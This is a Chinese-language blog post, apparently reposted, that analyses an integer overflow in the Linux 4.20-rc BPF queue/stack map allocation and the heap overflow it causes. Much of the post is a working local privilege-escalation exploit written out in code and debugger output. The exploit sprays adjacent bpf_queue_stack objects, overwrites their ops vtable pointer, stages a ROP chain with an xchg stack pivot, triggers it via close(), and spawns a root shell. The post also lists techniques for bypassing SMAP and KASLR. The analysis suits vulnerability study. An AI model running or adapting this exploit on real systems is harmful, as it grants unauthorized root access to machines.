Linux kernel 4.20 BPF 整数溢出漏洞分析

Posted bsauce

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux kernel 4.20 BPF 整数溢出漏洞分析相关的知识,希望对你有一定的参考价值。

分析的代码为linux-4.20-rc3版本:https://elixir.bootlin.com/linux/v4.20-rc3/source。因为该漏洞影响Linux Kernel 4.20rc1-4.20rc4,主要Linux发行版并不受其影响。

一、简介

BPF的全称是Berkeley Packet Filter,字面意思意味着它是从包过滤而来,该模块主要就是用于用户态定义数据包过滤方法;从本质上我们可以把它看作是一种内核代码注入的技术,BPF最大的好处是它提供了一种在不修改内核代码的情况下,可以灵活修改内核处理策略的方法,这使得在包过滤和系统tracing这种需要频繁修改规则的场合中非常有用。常见的抓包工具都基于此实现,并且用户态的Seccomp功能也与此功能相似。

涉及到的代码可从这里下载,我更改过的exp可从我的github下载。

二、漏洞分析

触发流程:

SYSCALL_DEFINE3() -> map_create() -> find_and_alloc_map() -> queue_stack_map_alloc()

BPF通过系统调用触发,查看代码

// /kernel/bpf/syscall.c
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
    union bpf_attr attr = {};
    int err;

    if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
        return -EPERM;

    err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
    if (err)
        return err;
    size = min_t(u32, size, sizeof(attr));

    /* copy attributes from user space, may be less than sizeof(bpf_attr) */
    if (copy_from_user(&attr, uattr, size) != 0)
        return -EFAULT;

    err = security_bpf(cmd, &attr, size);
    if (err < 0)
        return err;

    switch (cmd) {
    case BPF_MAP_CREATE:
        err = map_create(&attr);
        break;
    case BPF_MAP_LOOKUP_ELEM:
        err = map_lookup_elem(&attr);
        break;
	  case BPF_MAP_UPDATE_ELEM:
		    err = map_update_elem(&attr);
		    break;
    ... ...
    case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
        err = map_lookup_and_delete_elem(&attr);
        break;
    default:
        err = -EINVAL;
        break;
    }

    return err;
}

map_create:用户可通过BPF_MAP_CREATE参数调用map_create函数来创建map对象。map_create源码

// /kernel/bpf/syscall.c
static int map_create(union bpf_attr *attr)
{
    int numa_node = bpf_map_attr_numa_node(attr);
    struct bpf_map *map;
    int f_flags;
    int err;

    err = CHECK_ATTR(BPF_MAP_CREATE);
    if (err)
        return -EINVAL;

    f_flags = bpf_get_file_flag(attr->map_flags);
    if (f_flags < 0)
        return f_flags;

    if (numa_node != NUMA_NO_NODE &&
        ((unsigned int)numa_node >= nr_node_ids ||
         !node_online(numa_node)))
        return -EINVAL;

    /* find map type and init map: hashtable vs rbtree vs bloom vs ... */
    map = find_and_alloc_map(attr);//根据map的类型分配空间,创建map结构体,并为其编号,以后利用编号寻找生成的map。
    if (IS_ERR(map))
        return PTR_ERR(map);

    err = bpf_obj_name_cpy(map->name, attr->map_name);
    if (err)
        goto free_map_nouncharge;

    atomic_set(&map->refcnt, 1);
    atomic_set(&map->usercnt, 1);
    ... ...
    free_map:
    bpf_map_release_memlock(map);
free_map_sec:
    security_bpf_map_free(map);
free_map_nouncharge:
    btf_put(map->btf);
    map->ops->map_free(map);
    return err;
}

find_and_alloc_map:函数根据map的类型给map分配空间,find_and_alloc_map中首先根据attr->type,寻找所对应的处理函数虚表,然后根据处理函数虚表的不同,调用不同的函数进行处理。find_and_alloc_map源码

static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
	const struct bpf_map_ops *ops;
	u32 type = attr->map_type;
	struct bpf_map *map;
	int err;

	if (type >= ARRAY_SIZE(bpf_map_types))
		return ERR_PTR(-EINVAL);
	type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
	ops = bpf_map_types[type];   //根据type的值寻找所对应的处理函数虚表
	if (!ops)
		return ERR_PTR(-EINVAL);

	if (ops->map_alloc_check) {
		err = ops->map_alloc_check(attr);
		if (err)
			return ERR_PTR(err);
	}
	if (attr->map_ifindex)
		ops = &bpf_map_offload_ops;
	map = ops->map_alloc(attr);  //调用虚函数
	if (IS_ERR(map))
		return map;
	map->ops = ops;
	map->map_type = type;
	return map;
}

bpf_map_ops追踪

//  /include/linux/bpf.h       —— bpf_map_ops
struct bpf_map_ops {
	/* funcs callable from userspace (via syscall) */
	int (*map_alloc_check)(union bpf_attr *attr);
	struct bpf_map *(*map_alloc)(union bpf_attr *attr);
	void (*map_release)(struct bpf_map *map, struct file *map_file);
  ...
//   /include/linux/bpf.h       —— bpf_map 
    struct bpf_map {
	/* The first two cachelines with read-mostly members of which some
	 * are also accessed in fast-path (e.g. ops, max_entries).
	 */
	const struct bpf_map_ops *ops ____cacheline_aligned;
	struct bpf_map *inner_map_meta;
  ...
// /kernel/bpf/queue_stack_maps.c —— queue_stack_map_alloc  
// 虚函数表:对应真正调用的函数
const struct bpf_map_ops queue_map_ops = {
	.map_alloc_check = queue_stack_map_alloc_check,
	.map_alloc = queue_stack_map_alloc,              //map_alloc
	.map_free = queue_stack_map_free,
	.map_lookup_elem = queue_stack_map_lookup_elem,
	.map_update_elem = queue_stack_map_update_elem,  //map_update_elem
	.map_delete_elem = queue_stack_map_delete_elem,
	.map_push_elem = queue_stack_map_push_elem,
	.map_pop_elem = queue_map_pop_elem,
	.map_peek_elem = queue_map_peek_elem,
	.map_get_next_key = queue_stack_map_get_next_key,
};

queue_stack_map_alloc:而在虚函数当中有一个queue_stack_map_alloc函数,源码

static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
	int ret, numa_node = bpf_map_attr_numa_node(attr);
	struct bpf_queue_stack *qs;
	u32 size, value_size;
	u64 queue_size, cost;

	size = attr->max_entries + 1; //   会产生整数溢出
	value_size = attr->value_size;

	queue_size = sizeof(*qs) + (u64) value_size * size;

	cost = queue_size;
	if (cost >= U32_MAX - PAGE_SIZE)
		return ERR_PTR(-E2BIG);

	cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;

	ret = bpf_map_precharge_memlock(cost);
	if (ret < 0)
		return ERR_PTR(ret);

	qs = bpf_map_area_alloc(queue_size, numa_node); // 申请过小的块
	if (!qs)
		return ERR_PTR(-ENOMEM);

	memset(qs, 0, sizeof(*qs));

	bpf_map_init_from_attr(&qs->map, attr);  // 初始化函数

	qs->map.pages = cost;
	qs->size = size;

	raw_spin_lock_init(&qs->lock);

	return &qs->map;
}

漏洞attr->max_entries是用户传入的可控参数。因为size = attr->max_entries + 1;attr->max_entries=0xffffffff,产生整数溢出漏洞使得size=0

又因为queue_size = sizeof(*qs) + (u64) value_size * size;,使得queue_size = sizeof(*qs)。其中前sizeof(bpf_queue_stack) 个字节为管理块,用于存储数据结构,后面的内容为数据存储结构。

bpf_map_init_from_attr:初始化bpf_map结构。

void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
	map->map_type = attr->map_type;
	map->key_size = attr->key_size;
	map->value_size = attr->value_size;
	map->max_entries = attr->max_entries;
	map->map_flags = attr->map_flags;
}

当此申请完成后,内核模块将这个堆块放入管理结构中,并生成id用于管理,并将id返回给用户。


三、堆溢出

有了整数溢出,现在需寻找编辑功能。

堆溢出:因为上面的整数溢出漏洞,导致了内存分配的时候仅仅分配了管理块的大小,但是没有分配实际存储数据的内存,之后我们可以在第3个bpf系统调用map_update_elem这块map的过程中,向这块过小的queue stack中区域拷入数据,就导致内核堆溢出。

map_update_elem:首先根据用户输入的id找到放入管理结构的map,利用kmalloc新建一个堆块根据map中存储的value_size,从用户输入拷贝。然后在map中找到存储的虚函数指针ops,然后根据ops调用相应的虚函数。

static int map_update_elem(union bpf_attr *attr)
{
	void __user *ukey = u64_to_user_ptr(attr->key);
	void __user *uvalue = u64_to_user_ptr(attr->value);
	int ufd = attr->map_fd; //用户id
	struct bpf_map *map;
	void *key, *value;
	u32 value_size;
	struct fd f;
	int err;
	if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
		return -EINVAL;

	f = fdget(ufd);    //用户id  -> 找到对应map
	map = __bpf_map_get(f);
	if (IS_ERR(map))
		return PTR_ERR(map);
 ......
  value_size = map->value_size;     // 
  value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); //根据value_size新建堆块
  if (copy_from_user(value, uvalue, value_size) != 0) // attr->value 处的值缓存到 attr->value
		goto free_value;
 ......
   err = map->ops->map_push_elem(map, value, attr->flags); //由虚表可知,map_push_elem真正调用了 queue_stack_map_push_elem()

queue_stack_map_push_elem:发生溢出的主要函数,源码如下。在该函数中从之前kmalloc新建的内存中,向计算得到的地址做拷贝,大小为qs->size。

/* Called from syscall or from eBPF program */
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
                     u64 flags)
{
    struct bpf_queue_stack *qs = bpf_queue_stack(map);
    unsigned long irq_flags;
    int err = 0;
    void *dst;

    /* BPF_EXIST is used to force making room for a new element in case the
     * map is full
     */
    bool replace = (flags & BPF_EXIST);

    /* Check supported flags for queue and stack maps */
    if (flags & BPF_NOEXIST || flags > BPF_EXIST)
        return -EINVAL;

    raw_spin_lock_irqsave(&qs->lock, irq_flags);

    if (queue_stack_map_is_full(qs)) {
        if (!replace) {
            err = -E2BIG;
            goto out;
        }
        /* advance tail pointer to overwrite oldest element */
        if (unlikely(++qs->tail >= qs->size))
            qs->tail = 0;
    }

    dst = &qs->elements[qs->head * qs->map.value_size];
    memcpy(dst, value, qs->map.value_size);     //堆溢出

    if (unlikely(++qs->head >= qs->size))
        qs->head = 0;

out:
    raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
    return err;
}

计算的地址,从汇编语言中更容易看出是跳过了管理块内容的地址,qs->head在新建的时候被初始化为0,此时出现堆溢出,溢出大小可以控制即初始化是输入的value_size,位置是从新建的第一个堆块以后直接溢出。

.text:FFFFFFFF811AEF71                 mov     edx, [rbx+20h]
.text:FFFFFFFF811AEF74                 mov     rsi, r13
.text:FFFFFFFF811AEF77                 xor     r15d, r15d
.text:FFFFFFFF811AEF7A                 imul    ecx, edx
.text:FFFFFFFF811AEF7D                 lea     rdi, [rbx+rcx+0D0h]
.text:FFFFFFFF811AEF85                 call    memcpy
; memcpy((unsigned __int64)map + (unsigned int)(map[8] * v7) + 0xD0, a2, (unsigned int)map[8]);

功能:每一个map里包含多个小块内存,value_size是每一个小块的大小,max_entries是小块的数量,每次可以写一个小块内容。

这里memcpy函数中的dst就是上面申请的queue stack区域,而src是由用户态拷入的大小为qs->map.value_sizebuffer, 拷贝长度由创建queue_stack时用户提供的attr.value_size所决定的,所以拷贝长度也是用户可控的;sizeof(struct bpf_queue_stack)(bpf_queue_stack结构大小是0xd0,但kmalloc分配时需对齐,就是0x100,所以至少0x30字节才能溢出),如果当value_size > 256 - (&qs->elements - &qs)时,就会发生越界拷贝了。


四、漏洞利用

1. 利用分析

(1)保护:采用smep,关闭smap/kaslr/kpti。

(2)查看申请块size:下断,发现是用kmalloc-256进行分配。 问题—怎么找到这个断点的啊??

pwndbg> b *0xFFFFFFFF8119CD17
Breakpoint 2 at 0xffffffff8119cd17
pwndbg> c
Continuing.
pwndbg> ni
pwndbg> i r rax
rax            0xffff88807a001700	-131389592692992
pwndbg> x /20gx 0xffff88807a001700
0xffff88807a001700:	0x0000000000024200	0x0000000040000000
0xffff88807a001710:	0x0000000000000005	0x0000010000000100
0xffff88807a001720:	0x0000000d00000000	0x0000001000000010
0xffff88807a001730:	0x0000000000000010	0x0000000000000001
0xffff88807a001740:	0x0000000000000000	0x0000000800000100
0xffff88807a001750:	0x0000000000000000	0xffffffff8222db1c
0xffff88807a001760:	0xffff88807a001860	0xffff88807a001660
0xffff88807a001770:	0xffffffff8222db1c	0xffff88807a001878
0xffff88807a001780:	0xffff88807a001678	0xffff888079b459d8
0xffff88807a001790:	0xffff888079b459c0	0xffffffff8246d5e0
pwndbg> x /s 0xffffffff8222db1c
0xffffffff8222db1c:	"kmalloc-256"

(3)漏洞条件:1. 申请0x100大小的堆块;2. 向相邻堆块溢出;3. slub性质—相同大小的堆块相邻,因此申请大量的堆块一定存在一块与发生溢出的堆块相邻,造成指针可控的情况。

(4)利用思路:由于ptmx大小不合适,可以就利用bpf_queue_stack结构,连续申请两个bpf_queue_stack,就可以让第一个bpf_queue_stack发生溢出,改写后一个bpf_queue_stack的虚表指针。bpf_queue_stack结构包含bpf_mapbpf_map中含虚表指针ops,溢出覆盖虚表指针,即可劫持控制流。

struct bpf_queue_stack {
	struct bpf_map map;
	raw_spinlock_t lock;
	u32 head, tail;
	u32 size; /* max_entries + 1 */

	char elements[0] __aligned(8);
};

struct bpf_map {
	/* The first two cachelines with read-mostly members of which some
	 * are also accessed in fast-path (e.g. ops, max_entries).
	 */
	const struct bpf_map_ops *ops ____cacheline_aligned;
	struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
	void *security;
#endif
	enum bpf_map_type map_type;
	u32 key_size;
	u32 value_size;
	u32 max_entries;
	u32 map_flags;
	u32 pages;
	u32 id;
	int numa_node;
	u32 btf_key_type_id;
	u32 btf_value_type_id;
	struct btf *btf;
	bool unpriv_array;
	/* 55 bytes hole */

	/* The 3rd and 4th cacheline with misc members to avoid false sharing
	 * particularly with refcounting.
	 */
	struct user_struct *user ____cacheline_aligned;
	atomic_t refcnt;
	atomic_t usercnt;
	struct work_struct work;
	char name[BPF_OBJ_NAME_LEN];
};
/* map is generic key/value storage optionally accesible by eBPF programs */
struct bpf_map_ops {
	/* funcs callable from userspace (via syscall) */
	int (*map_alloc_check)(union bpf_attr *attr);
	struct bpf_map *(*map_alloc)(union bpf_attr *attr);
	void (*map_release)(struct bpf_map *map, struct file *map_file);
	void (*map_free)(struct bpf_map *map);
	int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);
	void (*map_release_uref)(struct bpf_map *map);

	/* funcs callable from userspace and from eBPF programs */
	void *(*map_lookup_elem)(struct bpf_map *map, void *key);
	int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
	int (*map_delete_elem)(struct bpf_map *map, void *key);
	int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
	int (*map_pop_elem)(struct bpf_map *map, void *value);
	int (*map_peek_elem)(struct bpf_map *map, void *value);

	/* funcs called by prog_array and perf_event_array map */
	void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file,
				int fd);
	void (*map_fd_put_ptr)(void *ptr);
	u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf);
	u32 (*map_fd_sys_lookup_elem)(void *ptr);
	void (*map_seq_show_elem)(struct bpf_map *map, void *key,
				  struct seq_file *m);
	int (*map_check_btf)(const struct bpf_map *map,
			     const struct btf_type *key_type,
			     const struct btf_type *value_type);
};

// 虚函数表:对应真正调用的函数
const struct bpf_map_ops queue_map_ops = {
	.map_alloc_check = queue_stack_map_alloc_check,
	.map_alloc = queue_stack_map_alloc,              //map_alloc
	.map_free = queue_stack_map_free,
	.map_lookup_elem = queue_stack_map_lookup_elem,
	.map_update_elem = queue_stack_map_update_elem,  //map_update_elem
	.map_delete_elem = queue_stack_map_delete_elem,
	.map_push_elem = queue_stack_map_push_elem,
	.map_pop_elem = queue_map_pop_elem,
	.map_peek_elem = queue_map_peek_elem,
	.map_get_next_key = queue_stack_map_get_next_key,
};

(5)输入格式(传入参数的格式):

//   /include/uapi/linux/bpf.h
union bpf_attr {
	struct { /* 用于 BPF_MAP_CREATE 命令,添加bpf */
		__u32	map_type;	/* one of enum bpf_map_type */
		__u32	key_size;	/* size of key in bytes */
		__u32	value_size;	/* size of value in bytes */
		__u32	max_entries;	/* max number of entries in a map */
		__u32	map_flags;	/* BPF_MAP_CREATE related
					 * flags defined above.
					 */
		__u32	inner_map_fd;	/* fd pointing to the inner map */
		__u32	numa_node;	/* numa node (effective only if
					 * BPF_F_NUMA_NODE is set).
					 */
		char	map_name[BPF_OBJ_NAME_LEN];
		__u32	map_ifindex;	/* ifindex of netdev to create on */
		__u32	btf_fd;		/* fd pointing to a BTF type data */
		__u32	btf_key_type_id;	/* BTF type_id of the key */
		__u32	btf_value_type_id;	/* BTF type_id of the value */
	};
  
	struct { /* 用于 BPF_MAP_*_ELEM 命令,可编辑bpf */
		__u32		map_fd;
		__aligned_u64	key;
		union {
			__aligned_u64 value;
			__aligned_u64 next_key;
		};
		__u64		flags;
	};

(6)释放时/劫持map_release时的现场,以确定xchg哪个寄存器:

bpf_map_release() ---> map_release()

由于是jmp rsp,所以可以选xchg eax, esp这个gadget。

// c代码
static int bpf_map_release(struct inode *inode, struct file *filp)
{
	struct bpf_map *map = filp->private_data;

	if (map->ops->map_release)
		map->ops->map_release(map, filp);

	bpf_map_put_with_uref(map);
	return 0;
}
/ # cat /proc/kallsyms | grep map_release
ffffffff8119d050 t bpf_map_release
ffffffff811a8b00 t bpffs_map_release
ffffffff81810070 t map_release
# 汇编
pwndbg> x /30i 0xffffffff8119d050
   0xffffffff8119d050:	push   rbx
   0xffffffff8119d051:	mov    rbx,QWORD PTR [rsi+0xc8]
   0xffffffff8119d058:	mov    rax,QWORD PTR [rbx]
   0xffffffff8119d05b:	mov    rax,QWORD PTR [rax+0x10]
   0xffffffff8119d05f:	test   rax,rax
   0xffffffff8119d062:	je     0xffffffff8119d06c
   0xffffffff8119d064:	mov    rdi,rbx
   0xffffffff8119d067:	call   0xffffffff81e057c0
   0xffffffff8119d06c:	mov    rdi,rbx
   0xffffffff8119d06f:	call   0xffffffff8119d010
   0xffffffff8119d074:	xor    eax,eax
   0xffffffff8119d076:	pop    rbx
   0xffffffff8119d077:	ret
# pwndbg里面
pwndbg> x /10i 0xffffffff81e057c0    
   0xffffffff81e057c0:	call   0xffffffff81e057cc
   0xffffffff81e057c5:	pause  
   0xffffffff81e057c7:	lfence 
   0xffffffff81e057ca:	jmp    0xffffffff81e057c5
   0xffffffff81e057cc:	mov    QWORD PTR [rsp],rax#其实就是jmp rax
   0xffffffff81e057d0:	ret   

# IDA中 
.text:FFFFFFFF81E057C0                 jmp     rax

原文说close()时,会将bpf_map_free_deferred()添加到队列并随后执行,通过将map->ops指向用户态可控位置,并且将ops.map_free设为任意值,我们就可以在执行map->ops->map_free(map);语句时将rip设置为任意值。

/* called from workqueue */
static void bpf_map_free_deferred(struct work_struct *work)
{
    struct bpf_map *map = container_of(work, struct bpf_map, work);

    bpf_map_release_memlock(map);
    security_bpf_map_free(map);
    /* implementation dependent freeing */
    map->ops->map_free(map);
}
/* decrement map refcnt and schedule it for freeing via workqueue
 * (unrelying map implementation ops->map_free() might sleep)
 */
static void __bpf_map_put(struct bpf_map *map, bool do_idr_lock)
{
    if (atomic_dec_and_test(&map->refcnt)) {
        /* bpf_map_free_id() must be called first */
        bpf_map_free_id(map, do_idr_lock);
        btf_put(map->btf);
        INIT_WORK(&map->work, bpf_map_free_deferred);
        schedule_work(&map->work);
    }
}

map_free函数地址位于偏移0x18处,但是exp中是劫持的是0x10处的map_release。但是我在map_free处下断点,并正常释放时,确实停下来了。

2.整合利用

// Step 1 : 构造添加bpf (BPF_MAP_CREATE) 的参数
  signal(SIGSEGV, get_shell_again);  //  遇到SIGSEGV错误时调用get_shell_again()处理函数(对存储的无效访问:当程序试图在已分配的内存之外读取或写入时)
  syscall(__NR_mmap, 0x20000000,0x1000000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);  
  long res = 0;
  memset(0x200011c0, \'\\x00\', 0x30);
  *(uint32_t *)0x200011c0 = 0x17;   // map_type  如何确定??
  *(uint32_t *)0x200011c4 = 0;      // key_size
  *(uint32_t *)0x200011c8 = 0x40;   // value_size 需拷贝的用户字节数
  *(uint32_t *)0x200011cc = -1;     // max_entries = 0xffffffff 构造整数溢出
  *(uint32_t *)0x200011d0 = 0;      // map_flags
  *(uint32_t *)0x200011d4 = -1;     // inner_map_fd
  *(uint32_t *)0x200011d8 =0;       // numa_node
// Step 2 : 保存用户态变量, xchg地址处布置ROP
  save_status();
  printf("user_cs:%llx    user_ss:%llx    user_rflags:%llx     user_sp:%llx\\n",user_cs, user_ss, user_rflags, user_sp);
  prepare_krop();

void *fake_stack;
void prepare_krop(){
  krop_base_mapped = mmap ((void *)krop_base_to_map, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
  if (krop_base_mapped<0){
    perror("[-] mmap failed");   
  }
  *(unsigned long*)0x81954dc8 = pop_rax_ret;   
  fake_stack = mmap((void *)0xa000000000,0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  memset(fake_stack, \'\\x00\', 0x100);
  *(unsigned long*)(fake_stack+0x10) = xchg_eax_esp_ret;    // 偏移0x10处对应  map_release函数指针
  rop_chain[14]=user_cs;
  rop_chain[15]=user_rflags;
  rop_chain[16]=user_sp;   // 也可以是(unsigned long)(fake_stack+0x6000);
  rop_chain[17]=user_ss;
  memcpy(krop_base_mapped + rop_start, rop_chain, sizeof(rop_chain));
  puts("[+] rop chain has been initialized!");
}
// Step 3 : 添加bpf,喷射构造相邻的bpf结构,有利于溢出
  res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
  spray();
  
long victim[SPRAY_NUMBER];
void spray(){
  for(int i=0; i < SPRAY_NUMBER; i++)
    victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
  return;
}
// Step 4 : 溢出覆盖bpf_queue_stack中的虚表指针ops,伪造虚表bpf_map_ops中的函数指针map_release
  *(uint32_t*)0x200000c0 = res;         //map_fd    根据BPF_MAP_CREATE返回的编号找到对应的bpf对象
  *(uint64_t*)0x200000c8 = 0;           //key
  *(uint64_t*)0x200000d0 = 0x20000140;  //value  输入的缓冲区
  *(uint64_t*)0x200000d8 = 2;           //flags  = BPF_EXIST =2

  uint64_t * ptr = (uint64_t*)0x20000140;
  for(int i=0; i<8; i++)
    ptr[i]=i;
  ptr[6]=fake_stack;   //0x20002000  0xa000000000  从偏移0x30才开始覆盖。虚表指针ops在开头,但bpf_queue_stack管理结构大小0xd0,但是申请空间时需0x100对齐,0x100-0xd0=0x30。
  syscall(__NR_bpf,2,0x200000c0,0x20);
  // Step 5 : close()触发map_release()
  for (int i=0; i<SPRAY_NUMBER; i++)
    close(victim[i]);

在调试ROP时,当用iret返回用户态时,遇到了一个之前没有遇到的问题,虽然跳转到了get_shell函数,但执行第一条语句时,出现Segmentation fault,拿不到shell。加一个signal函数来catch段错误,在这个处理函数中再起shell,就可以拿到shell。

3. 绕过保护机制讨论

(1)SMAP

SMAP防止ring 0代码访问用户态数据,Linux下的传统的绕过SMAP提权的方法包括以下几种:

  1. 利用JOP改写CR4寄存器关闭SMAP防御
  2. 利用call_usermodehelper 以root身份执行binary
  3. 通过内存任意读写直接改写当前进程cred。

关于利这一个单个漏洞SMAP, KPTI, KASLR等其他防御机制的绕过,将在后续文章中进行详解。

(2)KASLR

Linux下的传统的绕过KASLR提权的方法包括以下几种:

  1. 近年来,有许多通过硬件侧信道绕过KASLR的工作,如prefetch, meltdown等
  2. 利用漏洞构造信息泄露
  3. 配合一个信息泄露漏洞

参考:

http://p4nda.top/2019/01/02/kernel-bpf-overflow/

https://www.anquanke.com/post/id/166819#h3-5

以上是关于Linux kernel 4.20 BPF 整数溢出漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

XDP/eBPF — 基于 eBPF 的 Linux Kernel 可观测性

XDP/eBPF — 基于 eBPF 的 Linux Kernel 可观测性

bcc 基于bpf 分析linux 系统性能的强大工具包

linux 内核 2.4.20 和 2.4.36 中的 pthread_create 差异

使用bpf_printk,会将字符串输出到文件/sys/kernel/debug/tracing/trace_pipe

BPF BTF 详细介绍